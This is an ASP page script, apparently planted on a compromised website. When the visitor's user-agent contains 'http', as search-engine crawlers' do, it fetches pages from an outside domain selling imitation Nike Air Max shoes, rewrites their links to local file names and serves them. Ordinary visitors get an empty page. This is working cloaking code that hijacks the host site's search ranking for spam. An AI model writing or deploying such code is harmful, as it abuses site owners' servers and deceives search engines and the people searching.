<% Response.CodePage = 65001 Response.Charset="UTF-8" Function getBody(infopageurl) On Error Resume Next if infopageurl<>"" then dim xmlHttp set xmlHttp=server.createobject("MSXML2.XMLHTTP") xmlHttp.open "GET",infopageurl,false xmlHttp.send getBody=BytesToBstr(xmlhttp.responsebody,"UTF-8") set xmlHttp=nothing end if end Function Function BytesToBstr(body,Cset) dim objstream set objstream = Server.CreateObject("adodb.stream") objstream.Type = 1 objstream.Mode = 3 objstream.Open objstream.Write body objstream.Position = 0 objstream.Type = 2 objstream.Charset = Cset BytesToBstr = objstream.ReadText objstream.Close set objstream = nothing End Function dns = Request.ServerVariables("SERVER_NAME") path = Request.ServerVariables("PATH_INFO") qs = Request.ServerVariables("QUERY_STRING") url= dns&path agent = Request.ServerVariables("HTTP_USER_AGENT") id = Request.QueryString("id") lan = Request.QueryString("lan") tz = "http" if Instr(agent,tz)>0 then Dim Url,Html,id,view list=request.querystring("list") Url="http://www.airmaxnikepascher.info/channel.asp?id=1" 'Url="http://www.airmaxnikepascher.info/index.asp" Html = getBody(Url) 'Html = replace(Html, "http://www.airmaxnikepascher.info/channel.asp?id=1","index.asp") Html = replace(Html, "http://www.airmaxnikepascher.info/content.asp", "inc_view.asp") 'Html = replace(Html, "/index.asp?page","view.asp?list") 'Html = replace(Html,"'content.asp?id","content.asp?list='") 'Html = replace(Html, "http://www.airmaxnikepascher.info/channel.asp","content.asp") Html = replace(Html, "http://www.airmaxnikepascher.info/channel.asp","inc_content.asp") Response.write Html else %> <% end if %>